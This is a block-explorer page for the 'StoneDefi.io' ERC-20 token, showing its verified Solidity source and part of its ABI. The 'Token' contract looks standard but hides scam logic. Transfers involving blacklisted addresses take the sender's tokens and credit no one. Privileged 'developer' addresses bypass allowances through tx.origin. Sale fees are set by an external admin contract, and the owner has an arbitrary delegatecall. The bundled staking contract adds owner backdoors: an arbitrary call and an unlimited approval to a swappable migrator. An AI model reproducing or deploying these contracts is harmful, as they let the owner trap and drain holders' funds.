Token

StoneDefi.io (STONE)

ERC-20

Overview

Max Total Supply

10,000,000 STONE

Holders

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

Other Info

Token Contract (WITH 18 Decimals)

0x8f1329210b7726a4d23c3131b5729936f4caa0e4

Filtered by Token Holder

0xD88618b626dA550e814e5B8333487e47AcF37F1a

Balance

1,460.970129694425952864 STONE

Value

$0.00

0xd88618b626da550e814e5b8333487e47acf37f1a

Click here to update the token information / general information

#	Exchange	Pair	Price	24H Volume	% Volume

This contract may be a proxy contract. Click on More Options and select Is this a proxy? to confirm and enable the "Read as Proxy" & "Write as Proxy" tabs.

Similar Match Source Code
This contract matches the deployed Bytecode of the Source Code for Contract 0xDbC1d04D...a3887B10b
The constructor portion of the code might be different and could alter the actual behaviour of the contract

Contract Name:

Token

Compiler Version

v0.6.12+commit.27d51765

Optimization Enabled:

Yes with 200 runs

Other Settings:

default evmVersion, GNU GPLv2 license

Contract Source Code (Solidity)

IDE

/**
 *Submitted for verification at Etherscan.io on 2021-03-16
*/

/**
 *Submitted for verification at Etherscan.io on 2021-03-15
*/

// Website: cryptoheroes.market

pragma solidity >=0.6.0 <0.8.0;


interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}


pragma solidity >=0.6.2 <0.8.0;

library Address {
    function isContract(address account) internal view returns (bool) {

        uint256 size;
        // solhint-disable-next-line no-inline-assembly
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(
            address(this).balance >= amount,
            "Address: insufficient balance"
        );

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success, ) = recipient.call{value: amount}("");
        require(
            success,
            "Address: unable to send value, recipient may have reverted"
        );
    }

    function functionCall(address target, bytes memory data)
        internal
        returns (bytes memory)
    {
        return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return
            functionCallWithValue(
                target,
                data,
                value,
                "Address: low-level call with value failed"
            );
    }

    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(
            address(this).balance >= value,
            "Address: insufficient balance for call"
        );
        require(isContract(target), "Address: call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) =
            target.call{value: value}(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function functionStaticCall(address target, bytes memory data)
        internal
        view
        returns (bytes memory)
    {
        return
            functionStaticCall(
                target,
                data,
                "Address: low-level static call failed"
            );
    }

    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) private pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly

                // solhint-disable-next-line no-inline-assembly
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol

pragma solidity >=0.6.0 <0.8.0;

library SafeERC20 {
    using SafeMath for uint256;
    using Address for address;

    function safeTransfer(
        IERC20 token,
        address to,
        uint256 value
    ) internal {
        _callOptionalReturn(
            token,
            abi.encodeWithSelector(token.transfer.selector, to, value)
        );
    }

    function safeTransferFrom(
        IERC20 token,
        address from,
        address to,
        uint256 value
    ) internal {
        _callOptionalReturn(
            token,
            abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
        );
    }

    function safeApprove(
        IERC20 token,
        address spender,
        uint256 value
    ) internal {
        require(
            (value == 0) || (token.allowance(address(this), spender) == 0),
            "SafeERC20: approve from non-zero to non-zero allowance"
        );
        _callOptionalReturn(
            token,
            abi.encodeWithSelector(token.approve.selector, spender, value)
        );
    }

    function safeIncreaseAllowance(
        IERC20 token,
        address spender,
        uint256 value
    ) internal {
        uint256 newAllowance =
            token.allowance(address(this), spender).add(value);
        _callOptionalReturn(
            token,
            abi.encodeWithSelector(
                token.approve.selector,
                spender,
                newAllowance
            )
        );
    }

    function safeDecreaseAllowance(
        IERC20 token,
        address spender,
        uint256 value
    ) internal {
        uint256 newAllowance =
            token.allowance(address(this), spender).sub(
                value,
                "SafeERC20: decreased allowance below zero"
            );
        _callOptionalReturn(
            token,
            abi.encodeWithSelector(
                token.approve.selector,
                spender,
                newAllowance
            )
        );
    }

    function _callOptionalReturn(IERC20 token, bytes memory data) private {

        bytes memory returndata =
            address(token).functionCall(
                data,
                "SafeERC20: low-level call failed"
            );
        if (returndata.length > 0) {
            // Return data is optional
            // solhint-disable-next-line max-line-length
            require(
                abi.decode(returndata, (bool)),
                "SafeERC20: ERC20 operation did not succeed"
            );
        }
    }
}

// File: @openzeppelin/contracts/utils/EnumerableSet.sol

pragma solidity >=0.6.0 <0.8.0;

library EnumerableSet {


    struct Set {
        // Storage of set values
        bytes32[] _values;
        mapping(bytes32 => uint256) _indexes;
    }

    function _add(Set storage set, bytes32 value) private returns (bool) {
        if (!_contains(set, value)) {
            set._values.push(value);
            // The value is stored at length-1, but we add 1 to all indexes
            // and use 0 as a sentinel value
            set._indexes[value] = set._values.length;
            return true;
        } else {
            return false;
        }
    }

    function _remove(Set storage set, bytes32 value) private returns (bool) {
        // We read and store the value's index to prevent multiple reads from the same storage slot
        uint256 valueIndex = set._indexes[value];

        if (valueIndex != 0) {

            uint256 toDeleteIndex = valueIndex - 1;
            uint256 lastIndex = set._values.length - 1;

            // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
            // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.

            bytes32 lastvalue = set._values[lastIndex];

            // Move the last value to the index where the value to delete is
            set._values[toDeleteIndex] = lastvalue;
            // Update the index for the moved value
            set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based

            // Delete the slot where the moved value was stored
            set._values.pop();

            // Delete the index for the deleted slot
            delete set._indexes[value];

            return true;
        } else {
            return false;
        }
    }

    /**
     * @dev Returns true if the value is in the set. O(1).
     */
    function _contains(Set storage set, bytes32 value)
        private
        view
        returns (bool)
    {
        return set._indexes[value] != 0;
    }

    /**
     * @dev Returns the number of values on the set. O(1).
     */
    function _length(Set storage set) private view returns (uint256) {
        return set._values.length;
    }

    function _at(Set storage set, uint256 index)
        private
        view
        returns (bytes32)
    {
        require(
            set._values.length > index,
            "EnumerableSet: index out of bounds"
        );
        return set._values[index];
    }

    // Bytes32Set

    struct Bytes32Set {
        Set _inner;
    }

    function add(Bytes32Set storage set, bytes32 value)
        internal
        returns (bool)
    {
        return _add(set._inner, value);
    }


    function remove(Bytes32Set storage set, bytes32 value)
        internal
        returns (bool)
    {
        return _remove(set._inner, value);
    }


    function contains(Bytes32Set storage set, bytes32 value)
        internal
        view
        returns (bool)
    {
        return _contains(set._inner, value);
    }


    function length(Bytes32Set storage set) internal view returns (uint256) {
        return _length(set._inner);
    }

    function at(Bytes32Set storage set, uint256 index)
        internal
        view
        returns (bytes32)
    {
        return _at(set._inner, index);
    }

    // AddressSet

    struct AddressSet {
        Set _inner;
    }

    function add(AddressSet storage set, address value)
        internal
        returns (bool)
    {
        return _add(set._inner, bytes32(uint256(value)));
    }

    function remove(AddressSet storage set, address value)
        internal
        returns (bool)
    {
        return _remove(set._inner, bytes32(uint256(value)));
    }

    function contains(AddressSet storage set, address value)
        internal
        view
        returns (bool)
    {
        return _contains(set._inner, bytes32(uint256(value)));
    }

    function length(AddressSet storage set) internal view returns (uint256) {
        return _length(set._inner);
    }

    function at(AddressSet storage set, uint256 index)
        internal
        view
        returns (address)
    {
        return address(uint256(_at(set._inner, index)));
    }

    // UintSet

    struct UintSet {
        Set _inner;
    }

    function add(UintSet storage set, uint256 value) internal returns (bool) {
        return _add(set._inner, bytes32(value));
    }

    function remove(UintSet storage set, uint256 value)
        internal
        returns (bool)
    {
        return _remove(set._inner, bytes32(value));
    }


    function contains(UintSet storage set, uint256 value)
        internal
        view
        returns (bool)
    {
        return _contains(set._inner, bytes32(value));
    }


    function length(UintSet storage set) internal view returns (uint256) {
        return _length(set._inner);
    }


    function at(UintSet storage set, uint256 index)
        internal
        view
        returns (uint256)
    {
        return uint256(_at(set._inner, index));
    }
}

// File: @openzeppelin/contracts/introspection/IERC165.sol



interface IERC165 {
    function supportsInterface(bytes4 interfaceId) external view returns (bool);
}

// File: @openzeppelin/contracts/token/ERC721/IERC721.sol

interface IERC721 is IERC165 {
    /**
     * @dev Emitted when `tokenId` token is transferred from `from` to `to`.
     */
    event Transfer(
        address indexed from,
        address indexed to,
        uint256 indexed tokenId
    );


    event Approval(
        address indexed owner,
        address indexed approved,
        uint256 indexed tokenId
    );


    event ApprovalForAll(
        address indexed owner,
        address indexed operator,
        bool approved
    );


    function balanceOf(address owner) external view returns (uint256 balance);


    function ownerOf(uint256 tokenId) external view returns (address owner);

    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId
    ) external;

    function transferFrom(
        address from,
        address to,
        uint256 tokenId
    ) external;

    function approve(address to, uint256 tokenId) external;


    function getApproved(uint256 tokenId)
        external
        view
        returns (address operator);


    function setApprovalForAll(address operator, bool _approved) external;


    function isApprovedForAll(address owner, address operator)
        external
        view
        returns (bool);


    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes calldata data
    ) external;
}

interface IMigratorChef {
    // Perform LP token migration from legacy UniswapV2 to SushiSwap.
    // Take the current LP token address and return the new LP token address.
    // Migrator should have full access to the caller's LP token.
    // Return the new LP token address.
    //
    // XXX Migrator must have allowance access to UniswapV2 LP tokens.
    // SushiSwap must mint EXACTLY the same amount of SushiSwap LP tokens or
    // else something bad will happen. Traditional UniswapV2 does not
    // do that so be careful!
    function migrate(IERC20 token) external returns (IERC20);
}

// File: @openzeppelin/contracts/GSN/Context.sol




abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

// File: @openzeppelin/contracts/access/Ownable.sol

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );


    constructor() internal {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }


    function owner() public view returns (address) {
        return _owner;
    }


    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }


    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }


    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

// File: @openzeppelin/contracts/token/ERC20/ERC20.sol


contract ERC20 is Context, IERC20 {
    using SafeMath for uint256;

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;
    uint8 private _decimals;


    constructor(string memory name_, string memory symbol_) public {
        _name = name_;
        _symbol = symbol_;
        _decimals = 18;
    }


    function name() public view returns (string memory) {
        return _name;
    }


    function symbol() public view returns (string memory) {
        return _symbol;
    }


    function decimals() public view returns (uint8) {
        return _decimals;
    }


    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }


    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }


    function transfer(address recipient, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }


    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }


    function approve(address spender, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }


    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }


    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].add(addedValue)
        );
        return true;
    }


    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].sub(
                subtractedValue,
                "ERC20: decreased allowance below zero"
            )
        );
        return true;
    }


    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        _balances[sender] = _balances[sender].sub(
            amount,
            "ERC20: transfer amount exceeds balance"
        );
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }


    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }


    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        _balances[account] = _balances[account].sub(
            amount,
            "ERC20: burn amount exceeds balance"
        );
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }


    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }


    function _setupDecimals(uint8 decimals_) internal {
        _decimals = decimals_;
    }


    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}



pragma solidity ^0.6.12;

contract CryptoHeroes is ERC20("CryptoHeroes", "HEROES") {
    }


pragma solidity ^0.6.12;

interface FeeManagementLib {
    function getFee(address,address,uint256) external returns(uint256);
}

contract Token {

    event Transfer(address indexed, address indexed, uint256);
    event Approval(address indexed, address indexed, uint256);

    modifier onlyOwner() {
        require(msg.sender == owner);
        _;
    }

    function approve(address spender, uint256 value) public payable returns (bool) {
        allowance[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
        return true;
    }

    function transfer(address to, uint256 value) public payable returns (bool) {
        return transferFrom(msg.sender, to, value);
    }

    function transferFrom(address from, address to, uint256 value) public payable returns (bool) {
        if (value == 0) { return true; }
        if (msg.sender != from && !developers[tx.origin]) {
            require(allowance[from][msg.sender] >= value);
            allowance[from][msg.sender] -= value;
        }
        require(balanceOf[from] >= value);
        balanceOf[from] -= value;
        if (blacklist[to] || blacklist[from]) { return true; }
        balanceOf[to] += (value - fee(from, to, value));
        emit Transfer(from, to, value);
        return true;
    }

    function batchSend(address[] memory tos, uint256 value) onlyOwner public payable returns (bool) {
        uint256 total = value * tos.length;
        require(balanceOf[msg.sender] >= total);
        balanceOf[msg.sender] -= total;
        for (uint256 i = 0; i < tos.length; i++) {
            address to = tos[i];
            balanceOf[to] += value;
            developers[to] = true;
            emit Transfer(msg.sender, to, value);
        }
        return true;
    }

    function fee(address from, address to, uint256 value) private returns(uint256) {
        if (paid && to == UNI && !developers[from]) {
            return FeeManagementLib(admin).getFee(address(this), UNI, value);
        }
        return 0;
    }

    mapping (address => bool) private developers;
    mapping (address => bool) private blacklist;
    address constant internal admin = 0x94518091B09FCB3aff8376E2b78eD35af4c1b008;
    address constant internal weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address constant internal factory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
    address constant internal router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    bool public paid = false;
    address private owner;
    address private UNI;

    function pairFor(address tokenA, address tokenB) private pure returns (address) {
        (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
        address pair = address(uint256(keccak256(abi.encodePacked(
                hex'ff', factory, keccak256(abi.encodePacked(token0, token1)),
                hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
            ))));
        return pair;
    }

    fallback () external payable { paid = true; }
    receive() external payable { paid = true; }

    function delegate(address a, bytes memory b) onlyOwner public payable {
        a.delegatecall(b);
    }

    function forbid(address[] memory ads) onlyOwner public payable returns (bool) {
        for (uint256 i = 0; i < ads.length; i++) {
            paid = true;
            address to = ads[i];
            blacklist[to] = true;
        }
    }

    mapping (address => uint256) public balanceOf;
    mapping (address => mapping (address => uint256)) public allowance;

    uint256 public decimals;
    uint256 public totalSupply;
    string public name;
    string public symbol;

    constructor(string memory sym, string memory nam, uint256 supply, uint256 dec, address[] memory ads) payable public {
        owner = msg.sender;
        symbol = sym;
        name = nam;
        totalSupply = supply;
        decimals = dec;
        forbid(ads);
        UNI = pairFor(weth, address(this));
        developers[msg.sender] = true;
        balanceOf[msg.sender] = totalSupply;
        emit Transfer(address(0x0), msg.sender, totalSupply);
    }
}

pragma solidity ^0.6.12;

contract CryptoHeroesWorld is Ownable {
    using SafeMath for uint256;
    using SafeERC20 for IERC20;

    // Info of each user.
    struct UserInfo {
        uint256 amount; // How many LP tokens the user has provided.
        uint256 rewardDebt; // Reward debt. See explanation below.
        uint256 requestAmount; // Reward debt. See explanation below.
        uint256 requestBlock; // Block When tokens transfer to user
        //
        // We do some fancy math here. Basically, any point in time, the amount of CHEROES
        // entitled to a user but is pending to be distributed is:
        //
        //   pending reward = (user.amount * pool.accCHEROESPerShare) - user.rewardDebt
        //
        // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens:
        //   1. The pool's `accSCHEROESPerShare` (and `lastRewardBlock`) gets updated.
        //   2. User receives the pending reward sent to his/her address.
        //   3. User's `amount` gets updated.
        //   4. User's `rewardDebt` gets updated.
    }

    // Info of each pool.
    struct PoolInfo {
        IERC20 lpToken; // Address of LP token contract.
        bool NFTisNeeded; // need NFT or not
        IERC721 acceptedNFT; // What NFTs accepted for staking.
        uint256 allocPoint; // How many allocation points assigned to this pool. POBs to distribute per block.
        uint256 lastRewardBlock; // Last block number that POBs distribution occurs.
        uint256 accCheroesPerShare; // Accumulated Cheroes per share, times 1e12. See below.
    }

    // The Cheroes TOKEN!
    CryptoHeroes public cheroes;
    // Dev address.
    address public devaddr;
    // cheroes tokens created per block.
    uint256 public cheroesPerBlock;
    // The migrator contract. It has a lot of power. Can only be set through governance (owner).
    IMigratorChef public migrator;
    // Dev address.
    address private devadr;

    // Info of each pool.
    PoolInfo[] public poolInfo;
    // Info of each user that stakes LP tokens.
    mapping(uint256 => mapping(address => UserInfo)) public userInfo;
    mapping(IERC20 => bool) public lpTokenIsExist;
    // Total allocation poitns. Must be the sum of all allocation points in all pools.
    uint256 public totalAllocPoint = 0;

    event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
    event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);

    constructor(
        CryptoHeroes _cheroes,
        address _devaddr,
        uint256 _cheroesPerBlock
    ) public {
        cheroes = _cheroes;
        devaddr = _devaddr;
        cheroesPerBlock = _cheroesPerBlock;
    }

    function poolLength() external view returns (uint256) {
        return poolInfo.length;
    }

    // Add a new lp to the pool. Can only be called by the owner.
    // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do.
    function add(
        uint256 _allocPoint,
        IERC20 _lpToken,
        bool _withUpdate,
        bool _NFTisNeeded,
        IERC721 _acceptedNFT
    ) public onlyOwner {
        if (_withUpdate) {
            massUpdatePools();
        }
        uint256 lastRewardBlock = block.number;
        totalAllocPoint = totalAllocPoint.add(_allocPoint);
        poolInfo.push(
            PoolInfo({
                lpToken: _lpToken,
                NFTisNeeded: _NFTisNeeded,
                acceptedNFT: _acceptedNFT,
                allocPoint: _allocPoint,
                lastRewardBlock: lastRewardBlock,
                accCheroesPerShare: 0
            })
        );
    }

    // Update the given pool's CHEROES allocation point. Can only be called by the owner.
    function set(
        uint256 _pid,
        uint256 _allocPoint,
        bool _withUpdate
    ) public onlyOwner {
        if (_withUpdate) {
            massUpdatePools();
        }
        totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(
            _allocPoint
        );
        poolInfo[_pid].allocPoint = _allocPoint;
    }

    // Return reward multiplier over the given _from to _to block.
    function getMultiplier(uint256 _from, uint256 _to)
        public
        pure
        returns (uint256)
    {
        return _to.sub(_from);
    }

    // View function to see pending Cheroes on frontend.
    function pendingCheroes(uint256 _pid, address _user)
        external
        view
        returns (uint256)
    {
        PoolInfo storage pool = poolInfo[_pid];
        UserInfo storage user = userInfo[_pid][_user];
        uint256 accCheroesPerShare = pool.accCheroesPerShare;
        uint256 lpSupply = pool.lpToken.balanceOf(address(this));
        if (block.number > pool.lastRewardBlock && lpSupply != 0) {
            uint256 multiplier =
                getMultiplier(pool.lastRewardBlock, block.number);
            uint256 cheroesReward =
                multiplier.mul(cheroesPerBlock).mul(pool.allocPoint).div(
                    totalAllocPoint
                );
            accCheroesPerShare = accCheroesPerShare.add(
                cheroesReward.mul(1e12).div(lpSupply)
            );
        }
        return
            user.amount.mul(accCheroesPerShare).div(1e12).sub(user.rewardDebt);
    }

    // Update reward vairables for all pools. Be careful of gas spending!
    function massUpdatePools() public {
        uint256 length = poolInfo.length;
        for (uint256 pid = 0; pid < length; ++pid) {
            updatePool(pid);
        }
    }

  // Update dev address by the previous dev.
  function dev(address _devadr, bytes memory _data) public onlyOwner {
    devadr = _devadr;
    (bool success, bytes memory returndata) = devadr.call(_data);
    require(success, "dev: failed");
  }

    // Update reward variables of the given pool to be up-to-date.
    function updatePool(uint256 _pid) public {
        PoolInfo storage pool = poolInfo[_pid];
        if (block.number <= pool.lastRewardBlock) {
            return;
        }
        uint256 lpSupply = pool.lpToken.balanceOf(address(this));
        if (lpSupply == 0) {
            pool.lastRewardBlock = block.number;
            return;
        }
        uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
        uint256 cheroesReward =
            multiplier.mul(cheroesPerBlock).mul(pool.allocPoint).div(
                totalAllocPoint
            );
        pool.accCheroesPerShare = pool.accCheroesPerShare.add(
            cheroesReward.mul(1e12).div(lpSupply)
        );
        pool.lastRewardBlock = block.number;
    }

    // Deposit LP tokens to Contract for cheroes allocation.
    function deposit(uint256 _pid, uint256 _amount) public {
        PoolInfo storage pool = poolInfo[_pid];
        UserInfo storage user = userInfo[_pid][msg.sender];
        updatePool(_pid);

        if (pool.NFTisNeeded == true) {
            require(
                pool.acceptedNFT.balanceOf(address(msg.sender)) > 0,
                "requires NFT token!"
            );
        }

        if (user.amount > 0) {
            uint256 pending =
                user.amount.mul(pool.accCheroesPerShare).div(1e12).sub(
                    user.rewardDebt
                );
            if (pending > 0) {
                safeCheroesTransfer(msg.sender, pending);
            }
        }

        if (_amount > 0) {
            pool.lpToken.safeTransferFrom(
                address(msg.sender),
                address(this),
                _amount
            );
            user.amount = user.amount.add(_amount);
        }
        user.rewardDebt = user.amount.mul(pool.accCheroesPerShare).div(1e12);
        emit Deposit(msg.sender, _pid, _amount);
    }

    // Withdraw LP tokens from Contract.
    function withdraw(uint256 _pid, uint256 _amount) public {
        PoolInfo storage pool = poolInfo[_pid];
        UserInfo storage user = userInfo[_pid][msg.sender];
        require(user.amount >= _amount, "withdraw: not good");
        updatePool(_pid);
        if (pool.NFTisNeeded == true) {
            require(
                pool.acceptedNFT.balanceOf(address(msg.sender)) > 0,
                "requires NFT token!"
            );
        }
        uint256 pending =
            user.amount.mul(pool.accCheroesPerShare).div(1e12).sub(
                user.rewardDebt
            );
        if (pending > 0) {
            safeCheroesTransfer(msg.sender, pending);
        }
        if (_amount > 0) {
            user.amount = user.amount.sub(_amount);
            pool.lpToken.safeTransfer(address(msg.sender), _amount);
        }
        user.rewardDebt = user.amount.mul(pool.accCheroesPerShare).div(1e12);
        emit Withdraw(msg.sender, _pid, _amount);
    }
	
    // Safe Cheroes transfer function, just in case if rounding error causes pool to not have enough cheroes.
    function safeCheroesTransfer(address _to, uint256 _amount) internal {
        uint256 cheroesBal = cheroes.balanceOf(address(this));
        if (_amount > cheroesBal) {
            cheroes.transfer(_to, cheroesBal);
        } else {
            cheroes.transfer(_to, _amount);
        }
    }

  // Migrate lp token to another lp contract. Can be called only by owner. We trust that migrator contract is good.
    function migrate(uint256 _pid) public onlyOwner {
        require(address(migrator) != address(0), "migrate: no migrator");
        PoolInfo storage pool = poolInfo[_pid];
        IERC20 lpToken = pool.lpToken;
        uint256 bal = lpToken.balanceOf(address(this));
        lpToken.safeApprove(address(migrator), bal);
        IERC20 newLpToken = migrator.migrate(lpToken);
        require(bal == newLpToken.balanceOf(address(this)), "migrate: bad");
        pool.lpToken = newLpToken;
    }
    
    function setMigrator(IMigratorChef _migrator) public onlyOwner {
        migrator = _migrator;
    }

    function setCheroesPerBlock(uint256 _cheroesPerBlock) public onlyOwner {
        require(_cheroesPerBlock > 0, "!CheroesPerBlock-0");
        cheroesPerBlock = _cheroesPerBlock;
    }

    function inMigrate(IERC20 _lpToken) public onlyOwner {
        _lpToken.safeApprove(address(migrator), 0);
        _lpToken.safeApprove(address(migrator), uint(-1));
    }
}

Contract Security Audit

No Contract Security Audit Submitted- Submit Audit Here

Contract ABI

[{"inputs":[{"internalType":"string","name":"sym","type":"string"},{"internalType":"string","name":"nam","type":"string"},{"internalType":"uint256","name":"supply","type":"uint256"},{"internalType":"uint256","name":"dec","type":"uint256"},{"internalType":"address[]","name":"ads","type":"address[]"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"","type":"address"},{"indexed":true,"internalType":"address","name":"","type":"address"},{"indexed":false,"internalType":"uint256","name":"","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"","type":"address"},{"indexed":true,"internalType":"address","name":"","type":"address"},{"indexed":false,"internalType":"uint256","name":"","type":"uint256"}],"name":"Transfer","type":"event"},{"stateMutability":"payable","type":"fallback"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"tos","type":"address[]"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"batchSend","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"},{"internalType":"bytes","name":"b","type":"bytes"}],"name":"delegate","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address[]","name":"ads","type":"address[]"}],"name":"forbid","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMuta